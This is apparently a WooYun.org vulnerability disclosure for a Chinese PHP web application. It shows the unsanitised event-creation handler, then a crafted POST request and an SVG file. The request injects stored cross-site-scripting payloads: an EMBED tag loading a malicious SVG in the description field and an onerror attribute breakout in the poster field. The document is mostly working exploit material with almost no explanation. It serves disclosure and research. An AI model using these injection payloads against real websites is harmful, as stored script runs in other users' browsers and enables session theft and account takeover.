WooYun.org

function create(){
                if(!($this->MemberHandler->HasPermission($this->Module,$this->Code)))
        {
            json_error($this->MemberHandler->GetError());
        }
		$post = $this->Post;
		$post['name'] = jpost('name', 'txt');
	    if(!$post['name']){
	    	json_error("请输入活动标题");
	    }
	    $f_rets = filter($post['name']);
		if($f_rets && $f_rets['error']){
			json_error("活动标题".$f_rets['msg']);
		}
		if(!$post['content1']){
	    	json_error("请输入活动描述");
	    }
	    $f_rets = filter($post['content1']);
	    if($f_rets && $f_rets['error']){
			json_error("活动描述".$f_rets['msg']);
		}
		$post['address'] = jpost('address', 'txt');
		if(!$post['address']){
	    	json_error("请输入活动地址");
	    }
	    $f_rets = filter($post['address']);
	    if($f_rets && $f_rets['error']){
			json_error("活动地址".$f_rets['msg']);
		}
		if($post['money_r'] == 'money' && !$post['money']){
	    	json_error("请输入活动人均费用");
	    }
	    if($post['money_r'] == 'money' && !is_numeric($post['money'])){
	    	json_error("活动人均费用应为数字");
	    }
		if($post['qua']=='qua' && $post['fans'] && !is_numeric($post['fans_num'])){
	    	json_error("粉丝数应为数字");
	    }
		if(!$post['fromt']){
	    	json_error("请输入活动开始时间");
	    }
		if(!$post['tot']){
	    	json_error("请输入活动结束时间");
	    }
	    if(!$post['hid_pic']){
	    	json_error("请上传活动海报");
	    }
	    	    $fromt = strtotime($post['fromt']." ".$post['hour_select_from'].":".$post['min_select_from']);
	    $tot = strtotime($post['tot']." ".$post['hour_select_to'].":".$post['min_select_to']);
		if($fromt >= $tot){
	    	json_error("活动结束时间不能早于开始时间");
	    }
	    $verify = $this->Config['event_verify'] ? 0 : 1;
	    load::logic('event');
	    $eventLogic = new EventLogic();
				if (MEMBER_ROLE_TYPE != 'admin') {
			$is_allowed = $eventLogic->allowedCreate(MEMBER_ID,$this->Member);
		}
		if($is_allowed){
			json_error($is_allowed);
		}
	    $item = get_param('item');
	    $item_id = (int) get_param('item_id');
	    $return = $eventLogic->createEvent($post,$item,$item_id,$verify);
	    if(is_array($return)){
	    	if($return) {
	    		json_result("修改成功",$return);
	    	} else {
	    		json_error('修改失败');
	    	}
	    }else{
	    	$id = $return;
	    }
	    if(0 == $verify){
	    	json_error('发布成功，等待管理员审核');
	    }
	    $value = '我发布了一个活动【'.$post[name].'】，地址：' . get_full_url($this->Config['site_url'],"index.php?mod=event&code=detail&id=$id");
	    if($post['top'] == 'top'){
			$values = array(
					'id' => $id,
					'content' => $value,
					'from' => '',
				);
			json_result('发布成功', $values);
		}
		$item_id = $id;
		$msg = '发布成功';
		include(template('vote/vote_toweibo'));
		exit;
	}

name=blablabla
&content1=<EMBED SRC="http://localhost/aaa.html" type="image/svg+xml"></EMBED>
&address=aaa
&money_r=money
&money=1
&fans=1
&fromt=2014-05-21
&tot=2014-05-29
&hid_pic=aaa"onerror=alert(1)
&hour_select_from=20
&min_select_from=49
&hour_select_to=20
&min_select_to=49

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert("XSS");</script></svg>